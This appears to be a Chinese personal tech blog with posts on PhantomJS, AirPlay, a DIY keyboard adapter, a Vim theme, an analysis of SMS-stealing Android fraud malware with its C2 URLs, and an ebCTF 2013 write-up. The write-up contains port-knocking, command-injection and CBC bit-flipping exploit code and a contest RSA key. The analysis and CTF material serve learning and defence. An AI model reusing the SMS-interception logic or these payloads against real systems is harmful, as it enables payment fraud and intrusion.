有些 https 網頁憑證沒設好,預設很貼心把它擋下來了,如果要打開的話,執行時要加上參數 phantomjs --ignore-ssl-errors=true ,如果是用 node 跑的話是要加在 arguments 裡:

1
2
3
4
5
var childArgs = [
  '--ignore-ssl-errors=true',
  path.join(__dirname, 'phantomjs-script.js'),
  'some other argument (passed to phantomjs script)'
]

雖然跑起來有點慢,不過功能太強了啊!讓我以後有點懶的去看 http request 用 curl 送 query 了 XD

AirPlay Encryption

| Comments

From iOS Security February 2014 (p.16)

AirPlay also utilizes the authentication IC to verify that receivers have been approved by Apple. AirPlay audio and video streams utilize the MFi-SAP (Secure Association Protocol), which encrypts communication between the accessory and device using ECDH key exchange (Curve25519) with 2048-bit RSA keys and AES-128 in CTR mode.

自製 USB 鍵盤轉藍芽鍵盤轉接器

| Comments

測試影片

材料

一開始是因為想要有無線的機械式鍵盤,後來覺得如果可以做成 USB 轉藍芽的模組,就可以把不同的機械式鍵盤都轉成無線的!

不過硬體不太熟,所以就用了比較好寫軟體的 Arduino 來開始,整體流程大致是用 USB Host Shield 來讀鍵盤訊號,然後從 BlueSMiRF HID 送出藍芽的 HID report ,這樣只要有支援藍芽鍵盤的電腦都可以用了!

不過只是 prototype 而且還有很多可以改進的地方,像是現在看起來超醜 XD 而且不知道為什麼用起來有一點點可以感覺到的延遲,是說不知道有沒有廠商要做類似的東西來賣,好想要啊!

下次可以試試看拿 ATEN CS533 拆開來玩,看會不會比較省事 XD

Vim iA Writer Theme for Markdown

| Comments

前幾天看到 Writing Markdown With Style in Vim 在講 vim 的 iA Writer theme ,試了之後覺得超棒的,決定以後的 markdown editor 就用 MacVim 了!

接著就查了一下 vim 的 ftplugin 大概怎麼做,然後因為寫 octopress 要用,所以也找了一下 Jekyll 的 YAML header syntax ,包一包就上傳啦!成品在 dm4/vim-writer

Screenshot:

screenshot

小額付費簡訊詐騙

| Comments

最近好像很流行收到這種奇怪的簡訊

詐騙簡訊

用 iPhone 點開網址之後發現會被導到一個已經關閉的無名相簿,研究了一下發現他會判斷 User-Agent 來決定要導到哪裡, 如果把 User-Agent 設成 Android 瀏覽器的話,會被導到一個下載 Andorid apk 的連結

不過大概是新聞報很大的原因,詐騙連結幾乎都已經失效了

把載下來的 apk 拆開會發現它是一個偽裝成 Google Play Service 的程式 (要拆 apk 推薦使用 androguard ,它的 Sublime Text plugin 簡直是神器……)

使用到的權限和用到的 components

AndroidManifest.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?xml version="1.0" ?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.google.android.gmss" xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="17"></uses-sdk>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
    <uses-permission android:name="android.permission.INTERNET"></uses-permission>
    <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.READ_SMS"></uses-permission>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
    <uses-permission android:name="android.permission.CALL_PHONE"></uses-permission>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"></uses-permission>
    <application android:allowBackup="true" android:icon="@7F020002" android:label="@7F050000" android:theme="@7F060001">
        <activity android:label="" android:name="com.google.android.gmss.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN">
                </action>
                <category android:name="android.intent.category.LAUNCHER">
                </category>
            </intent-filter>
        </activity>
        <receiver android:name="com.google.android.gmss.BootBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED">
                </action>
            </intent-filter>
        </receiver>
        <service android:exported="true" android:label="@7F050000" android:name="com.google.android.gmss.MouseCave">
        </service>
        <receiver android:name="com.google.android.gmss.MouseEar">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED">
                </action>
                <category android:name="android.intent.category.DEFAULT">
                </category>
            </intent-filter>
        </receiver>
        <receiver android:name="com.google.android.gmss.MouseNose">
            <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL">
                </action>
            </intent-filter>
        </receiver>
        <receiver android:name="com.google.android.gmss.BlackCat">
            <intent-filter>
                <action android:name="com.mouse.BlackCat">
                </action>
            </intent-filter>
        </receiver>
    </application>
</manifest>

可以看到這個 app 要了一些邪惡的權限, 並且有個 receiver 會偵測 android.provider.Telephony.SMS_RECEIVED 這個動作, 在收到簡訊的時候被觸發,是和小額付費比較有相關的地方

me.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.google.android.gmss;
public class MouseEar extends android.content.BroadcastReceiver {
    // ...
            if(v3[v2].getMessageBody().toString().contains("*#060#") == 0) {
                if(com.google.android.gmss.c.a(p8) != 0) {
                    this.abortBroadcast();
                    v1 = new java.util.HashMap();
                    v1.put("type", "1");
                    v1.put("source", v3[v2].getOriginatingAddress().toString());
                    v1.put("content", v3[v2].getMessageBody().toString());
                    new Thread(new com.google.android.gmss.h(this, v1, p8)).start();
                }
            } else {
                this.abortBroadcast();
                v1 = v3[v2].getOriginatingAddress();
                v4 = v3[v2].getMessageBody().substring(6);
                v5 = new java.util.HashMap();
                v5.put("phone_id", v4);
                v5.put("phone_num", v1);
                new Thread(new com.google.android.gmss.g(this, v5, p8)).start();
            }
    // ...
}

可以看到在收到新簡訊的時候,會判斷內容有沒有包括特定字串, 有的話就會把整個簡訊內容回傳,如果沒有的話只會回傳前六個字元

再往下追可以找到回報資料的伺服器位置和一些東西,不過當然也失效了

.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.google.android.gmss;
public class l {
    // ...
    static l()
    {
        com.google.android.gmss.l.a = "http://googleapp.leitungsen.de:1652/";
        com.google.android.gmss.l.b = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/submit").toString();
        com.google.android.gmss.l.c = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/deploy_report").toString();
        com.google.android.gmss.l.d = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/task_query").toString();
        com.google.android.gmss.l.e = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/get_blockrules").toString();
        com.google.android.gmss.l.f = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/phones_query").toString();
        com.google.android.gmss.l.g = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/phone_num_submit").toString();
        com.google.android.gmss.l.h = new StringBuilder(String.valueOf(com.google.android.gmss.l.a)).append("index.php/Backdoor/get_url").toString();
        com.google.android.gmss.l.i = "c84258e9c39059a89ab77d846ddab909";
        com.google.android.gmss.l.j = new java.util.ArrayList();
        return;
    }
    // ...
}

裝了惡意程式之後會莫名其妙的被盜用小額付費的原因, 我應該是小額付費的認證簡訊會包含特定內容,把整封簡訊回傳是為了要拿到小額付費的認證碼, 如果不是小額付費的簡訊,這隻惡意程式會回傳前六個字元的原因, 我可能是覺得簡訊一開頭很有可能有人名吧, 一但拿到人名 + 電話,就又多了一個詐騙的目標……

ebCTF 2013 Writeup

| Comments

拖超久的 writeup ,感謝一起玩的 217 大大們,下面整理了一些大大們的解法,和從各處搜括來的 writeup

BIN100

擲骰子要丟出指定的順序,不過最後一個是 7 ,所以 patch 一下判斷數字的 je/jne 就可以了。

Reference

BIN200

Reference

BIN300

1
2
3
4
5
6
7
8
9
10
$ gdb
(gdb) file moon
(gdb) b luaL_loadbuffer
Breakpoint 1 at 0x411110
(gdb) r
Breakpoint 1, 0x0000000000411110 in luaL_loadbuffer ()
(gdb) x/3s $rsi
0x627340 <content.2593>:    "p = 54111037\ng = 56321\n\nio.write(\"Enter your password: \")\nio.flush()\npassword=io.read()\nif string.len(password) ~= 32 then\n    print(\"Wrong!\")\n    return 0\nend\n\nv = g\nalpha = \"0123456789abcdef\"\nfor lo"...
0x627408 <content.2593+200>:    "op =1,32 do\n    v = v * g\n    v = v % p\n    r = v % 16\n    good = string.sub(alpha,r+1,r+1)\n    if good ~= string.sub(password,loop,loop) then\n        print(\"Wrong!\")\n        return 0\n    end\nend\nprin"...
0x6274d0 <content.2593+400>:    "t(\"Well done, the flag is: ebCTF{\"..password..\"}\")\n-- f02233aca4839124ee6ffa766883c47e\n"

Reference

BIN400

題目是要生出 5 個 MD5 一樣的 console executable PE32 ,分別會印出:

  • File1: All Eindbazen are wearing wooden shoes
  • File2: All Eindbazen live in a windmill
  • File3: All Eindbazen grow their own tulips
  • File4: All Eindbazen smoke weed all day
  • File5: All Eindbazen are cheap bastards

所以做 md5 collision ,原本檔案的內容是對自己做簡單的 hash 再從 hash 決定要印哪一句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// by seanwu
##include <stdio.h>
const char* str[5]= {
    "All Eindbazen are wearing wooden shoes",
    "All Eindbazen live in a windmill",
    "All Eindbazen grow their own tulips",
    "All Eindbazen smoke weed all day",
    "All Eindbazen are cheap bastards"
};
int main(int argc,char **argv){
    FILE* f=fopen(argv[0],"rb");
    fseek(f,-20005,SEEK_END);
    int x=0;
    unsigned char z;
    for( int i=0; i<20000; i++ ){
        fread(&z,1,1,f);
        x=(x*33331+z)%5;
    }
    x=(x+5)%5;
    puts(str[x]);
    return 0;
}

Reference

CRY100

1
2
3
$ echo 'KZUJJUN06TR3T2T6ABTEAB163A3NREE1JZ6N3QFLIYHMP X7V6C6TUK53TZ653N2UNRB316WE11VZ3UV3AKKZUJJ3RV 6D6SZ6J32S11D353TDVZUN0UK68U2N6V23312T33V646N VE4VA36NJZ6N3NSAB3TQFLIYHMPX78UNRT30ETRKBTEAF QQ8U16J6VEV63KHQ8U164ES1U216W3TLL8U16EJJ13KFI Y8U1613386N3K346NRJETV62VZ321E0B4F4Q7' | tr -d ' ' | tr KZUJN06TR32ABEQFLIYHMPX7VC54 shipngordefmba0123456789tjvc

shippingorderfrombramb1oemendaa1phone0123456789tojorisverhovenfindbe1oWa11theitemsshippedtoDoShopefS11DeverDthingiso8ifnotfee1freetocontactmeonphonenSmber01234567898indregardsbram1008i1opotatoes508i1ocaS1if1oWer228i1oapp1es1348i1o1ee8onesecondpartofthef1agbc1c09
  • 3rd PART

    base64 之後猜測可能是被 xor 過後的 jpeg ,找出 xor key 之後 flag 在圖片裡。

  • 4th PART

    切開之後直的看就是了!

1
2
3
4
5
6
7
8
9
10
$ echo 'thhneu hpeitr eafnw frleo otata uoghb rfirf ttseo' | tr ' ' $'\n'

thhneu
hpeitr
eafnw
frleo
otata
uoghb
rfirf
ttseo
  • 5th PART

    人眼找對應:

1
2
3
$ cat 5.txt | tr "[:lower:]" "[:upper:]" | tr SIWZGDRYUOMKQBTJPNFEHLX aistheflgbuprodywmcknxv

a common mistake made by foreigners is that the netherlands legaliAed the use of cannabis and other recreational soft drugs. according the law any use of drugs is still illegal, but there is a tolerancy policy called gedoogbeleid for any soft drugs. this is a set of guidelines telling public prosecutors under which circumstances offenders should not be prosecuted. according to current gedoogbeleid the possession of a maximum amount of five grams cannabis for personal use is not prosecuted. cultivation is treated in a similar way. cultivation of 5 plants or less is usually not prosecuted when they are renounced by the cultivator.  so if you come to the netherlands and want to try some recreational use of soft drugs, beware that it is not legal. the fifth part for the flag is ab1fde
  • 6th PART

    Caesar cipher with shift = 4

1
2
3
4
$ cat 6.txt | tr "[:upper:]" "[:lower:]" | tr abcdefghijklmnopqrstuvwxyz wxyzabcdefghijklmnopqrstuv

the delta works is a series of construction projects in the southwest of the netherlands to protect a large area of land around the rhine-meuse-scheldt delta from the sea. the works consist of dams, sluices, locks, dikes, levees, and storm surge barriers. the aim of the dams, sluices, and storm surge barriers was to shorten the dutch coastline, thus reducing the number of dikes that had to be raised.
along with the zuiderzee works, delta works have been declared one of the seven wonders of the modern world by the american society of civil engineers. the last part of the flag is: one-five-f-three-four-}

CRY200

聽大大說是要去對一堆 n 去做 gcd ,分解出其中一組質數 p, g ,接著再去暴力試出 e, d

Reference

CRY300

Reference

CRY400

FOR100

strings 發現

[email protected]:~$ python2 ctf.py ' i hide my '

感覺就是他了!所以試著 grep ctf.py 沒東西之後,再試了 grep sys.argv 會找到一段 python code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sys
import time
import random
import signal
from Crypto.Cipher import AES
key1 = "is this where"
key2 = sys.argv[1]
key3 = raw_input("Password: ")
iv = 'a very random iv'
secret = './flag'
mode = AES.MODE_CBC
def encrypt(signum, frame):
    key = key1 + key2 + key3
    enc = AES.new(key, mode, iv)
    inp = raw_input("Enter secret: ")
    diff = len(inp) % 16
    if diff != 0:
    inp += ' ' * (16 - diff)
    with open(secret, 'wb') as outfile:
        outfile.write(enc.encrypt(inp))
    del key, enc
def decrypt(signum, frame):
    key = key1 + key2 + key3
    enc = AES.new(key, mode, iv)
    with open(secret, 'rb') as infile:
        print(enc.decrypt(infile.read(48)))
    del key, enc
signal.signal(signal.SIGUSR1, encrypt)
signal.signal(signal.SIGUSR2, decrypt)
while True:
    time.sleep(1)

接著要找 key3 ,試著 grep 'i hide my' 之後找到一行

is this where i hide my secrets?

拿他當 key 跑 AES decrypt 就拿到 flag 了!

FOR200

Reference

< Guest10733> how did u get sms in for200 ?
<@gijs> Guest10733: the SMS is stored in inbox.txt but in some binary format that is also used to transmit sms over the network
< cr0n> Guest10733: sms pdu: http://www.smartposition.nl/resources/sms_pdu.html

FOR300

Reference

FOR400

NET100

從給的 net-100.pcap 裡可以找到一個有密碼的 rookit.zip ,發現裡面有 flag ,接著就是要找解壓縮密碼了,密碼可以在一連串的 udp packet 中找到!

Reference

NET200

這題一開始只給了 112 + 386 + 712 + 1398 + 8771 + 11982 + 15397 + 23984 = 51037 ,連到網頁看到了 X-Powered-By:*knock knock* ,猜測是要做 port knocking !

1
2
3
4
5
6
7
8
9
10
11
$ nc -w 1 54.216.81.14 112;
$ nc -w 1 54.216.81.14 386;
$ nc -w 1 54.216.81.14 712;
$ nc -w 1 54.216.81.14 1398;
$ nc -w 1 54.216.81.14 8771;
$ nc -w 1 54.216.81.14 11982;
$ nc -w 1 54.216.81.14 15397;
$ nc -w 1 54.216.81.14 23984;
$ nc -w 1 54.216.81.14 51037;
So you are knocking me, how about I return the favor?
Repeat after me and I will open the last port…

下一階段的提示是要照著對方敲我們 port 的順序敲回去,我們是利用 iptables 來把進來的 tcp connection 記錄下來:

1
# iptables -A INPUT -p tcp -j LOG --log-prefix ' INPUT TCP ' --log-level 4

接著會在 /var/log/kern.log 拿到記錄,接著再敲回去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc -w 1 54.216.81.14 8112;
$ nc -w 1 54.216.81.14 33386;
$ nc -w 1 54.216.81.14 14712;
$ nc -w 1 54.216.81.14 4398;
$ nc -w 1 54.216.81.14 1771;
$ nc -w 1 54.216.81.14 52313;
$ nc -w 1 54.216.81.14 25697;
$ nc -w 1 54.216.81.14 932;
$ nc -w 1 54.216.81.14 22222;
[Advanced]
        sequence    = 234,781,983,2411,9781,14954,23112,63991
        seq_timeout = 15
        command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT
        tcpflags    = fin,urg,!ack
        cmd_timeout = 30
        stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 32154 -j ACCEPT

拿到第三階段的提示了!查了一下發現是 knockd 的設定檔,這次會檢查 tcp flags ,我們是用 (hping)[http://www.hping.org/] 來設 tcp flags

1
2
3
4
5
6
7
8
hping3 -c 1 -F -U -p 234   54.216.81.14
hping3 -c 1 -F -U -p 781   54.216.81.14
hping3 -c 1 -F -U -p 983   54.216.81.14
hping3 -c 1 -F -U -p 2411  54.216.81.14
hping3 -c 1 -F -U -p 9781  54.216.81.14
hping3 -c 1 -F -U -p 14954 54.216.81.14
hping3 -c 1 -F -U -p 23112 54.216.81.14
hping3 -c 1 -F -U -p 63991 54.216.81.14

最後再連 port 32154 就會噴 flag 了!

Reference

< ai1> Ghaaf, the final one:

    nmap -vvv -PN --scanflags FINURG 54.216.81.14 -r -p234,781,983,2411,9781,14954,23112,63991 --scan-delay 1

< Tilou> http://pastebin.com/jBr3d9wR <- hping way

    #!/bin/bash
    sequence="234 781 983 2411 9781 14954 23112 63991"
    for port in $sequence; do
        hping -F -U -c 1 -p $port 54.216.81.14 > /dev/null 2>&1
    done
    nc 54.216.81.14 32154

NET300

Reference

NET400

Reference

PWN100

Reference

<@gijs> foundation: pwn100 initial key https://p.6core.net/p/yMz8naU2ZphAAHWjGkY7ICcD

-----BEGIN RSA PRIVATE KEY-----
MIIEoAIBAAKCAQEA8Ew1BzA3rNBwrFYevJ6mJMVfe+ZMrbrq20Q78MIprjxMmEV8
hUiYq4CftCeNj+XxYYuaYLwAA8GfW+wrS04AAEzHTNwc1wKbHdOzvParhiIFOjJ2
NX/ljlQA7LCO0bToMg971gKrFGYPGMa5vKsx9hXyDCLegXHV3G/duPxaG0hkYucC
UrilqtGMFmpFQu+vgDdudEEVg+01BtNanCxOeYuWLnd8ViZx3qrdooPNnhxh1hop
ciYNp5ORQiYKFFCmIxAMRnXYlZt5CbPIbNrRLHKSnrDyOhSLa0e3tjnGYv+YjrHB
OaWQoPu3dOu88ason5jhbTKzZ2gOe24vlg9hdwIBIwKCAQApMaKwxm/xvVUk25A9
l4oyMHbEyGTqlRJReWlceQ51o+/fluIleijM8Xp2p7HeJ2s1SyHHcK+LnYkIcaEF
mFfFiYFAYD91UOdkMuucvJJuxADlZ7x+My6qr1Cdmpwj8yB9nEEdX4sKz6rRDB/X
M0pks04QtYU6ww64Ey1S6W6IVTh/6TNzPc2mEBtHJd7yDI08aY0fbIOf5z4WNPBE
oEYIu6FWTMDf57XaUPclrPNnCturWcAdzw1DgYiyuDaS4YtryDfyaBA+WbepEOEb
HFkMf6jgDfqpnGc+vL8Z3ggoftOHZPdS3NNScrR1zRZbRyLP6DNRPjmIldThIrdv
fb+LAoGBAPzFhrlH84GwoZs+Hd/YFYgQxySGEqSspp6x14wv+7eseUN8Vp/+A11Z
kZfRHrZU5r5eTIlo+ajXeX8Uu04U5A0X3mFXpfsGksPuEvVPPzCHwHIvfsDl2u/3
ymStMDg2DHbAnyncLYUVVMjAVudL7MDq3fz1T44gfAcj+/jQOgwBAoGBAPNd5UeV
MfRcJ1G5RNDm5kTkXegMNXEH1wF+HFTb3v5Ey9A6tnc+Bhpg66QgSYtwIPdll2oF
9Jdw+8oa4tL785ZrzGSTcNQjUrBsE7H/dkPbyXH+4KXMKUEwME2cz7PrZKU4RZ9P
b+WACdIFaH3mn3H38GPIotWqLK2LfQi7d813AoGAVqofj/tpbkswF/gKPh4zRJgJ
w2Eq9qGYNmjcMBBzj25VdjlCRXupYdWRANn75r4F+CBUwWXR8L7n08yX/YOBY5Mn
rFiQrdZeNIwjwdIHCVMdaPpXWBRLEHI2w26UMIePPqhxFaqTQ5JI9F8zvQQWqIsK
SBmXnnGJnAxWY++e34sCgYB2NOu1DfOxNBMZENhINaMLhN0nkObB3zyLskhGeWxP
ncIUrs2nochzNmPTYCO4wW8ZFBZYEYVuIO9TiWbbgbDUCHk4KltfuWKtdlK1irXJ
MD1F/3RtyZBhfc5RlU7w/U4kXSkhflrr0HnMaQbeEO5b7XTCwIma+uKALc8EPcx5
vQKBgBCqEbKrfUF5H1QQunHiIsRE40zJ8MaGZbdT7ZC/bXTcwFnC+m3Ql/Iko3KU
qJ59EAryB5SmrpViNlhl3JL+Pu2m4fNhvxVfBdNSxuJMjodK6n2O4WeF0NUS0bpZ
EZRema+mBXD/lSTh1d9FnEOwrbFFEnuTZfAnEvEFo1m/Qn43
-----END RSA PRIVATE KEY-----

PWN200

$ perl -e 'print ">"x51 . "-"x47 . "\ncat IM_A_FLAG\n"' | nc 176.34.95.148 31313

PWN300

Reference

< gna_> pwn300 writeup
< gna_> http://pastebin.com/G0KvW6t6
< bata_> pwn300 http://pastebin.com/gc8u6J3M

PWN400

Reference

WEB100

Reference

<@gijs> loveldyream: this is what i developed when i tested it
        https://p.6core.net/p/0lAkDRAsvPqj1zeMVz6A5xcl> using blind
        injection but i know the author has a one-liner which will
        return the value directly without using blind injection

WEB200

Reference

WEB300

Reference

< daniel1024> xpath injection in web100?
< daniel1024> *300
<@gijs> daniel1024: yes xpath injection
< RlIxOTA4> web300 was xpat
< RlIxOTA4> h

WEB400

這題很有趣!雖然我們沒有解出來 XD

一開始要利用 function hmac($data) 裡的 typo 讓我們可以假造合法的 cookie , 接著再利用 AES CBC mode 解密時會和前一個 block 做 xor 的特性, 只要知道某一段 plaintext 是什麼,就可以在 ciphertext 中 xor 前一個 block , 讓解出來的 plaintext 變成我們想要的(超抽象 XD )

沒有寫完整 writeup ,有興趣的人可以看下面的 reference 研究一下 PoC !

Reference

< phiber_> web400 solution http://privatepaste.com/1d0f3254f6

<?php
$a = base64_decode(urldecode('%2FW8w%2BUpwN%2B2vh85b54XcyGM2wSNNFFcBqoGr%2BX5S7FOuJn%2FJBJwp1R1F5VpqsR9NkW82Ut8L5hPFKa%2BWIEs2W9DP9Qnq9zhmAJ5FwbNcY6viYT2kZd1Yz06lplcsnRuaFU8gj5TV9jHX8wps2%2BTaAO68TrHgF3Scvt56BrGAlZX%2Fp24qGKQf5m%2B15RdsgC6M%2BQ9Fl7KhwazU1F9yJ9rx7GH5HsCC4ztYeVVoiFYQQIDMPMHZkIeA7sbYrhH6L9Ej8DlEb2dErkHBVP98Wp5aAxm8jIXeqgBHfPF8s26o%2Bjs2T6XfWm3cv%2FN4yp93yGEpSja7dAr1Bdw3k1TVVPAqzGFBA2SbB6skHQhNiC5hfJ4TdymBfzzt8QLvGT3KKBlQP1sgNcLIpwhFCOGlGkN1Nq7%2Bb2GV5h%2FtyLH%2FTW2LGuVcBCTRXFY7mC0IPV2WCFSTyOddnX5t2sNeU9zBop9WeWQe199f50%2FRKRX4aA%2FLsSrGqv%2F2s4z96n9I0Zu4oGcpb9hGh3zvzGZQy6J4TAeKRKCRsIW3vDFacngSGcUAklS4nsRqXJBVEZ70WcBFQjVI7zMX8cjJS8RiyQLKgGpKirYotsetFk98xonYzbwBnyNLiNFEM0WSsPoDSW2UvQe3NfDEJKwT63l9uaAHTbfWXQ%3D%3D'));
$blocks = str_split($a, 16);
$blocks[22] = $blocks[22] ^ str_repeat('a', 16) ^ "';cat *; echo 'a";
$b = implode('', $blocks);
echo urlencode(base64_encode($b))."\n";
?>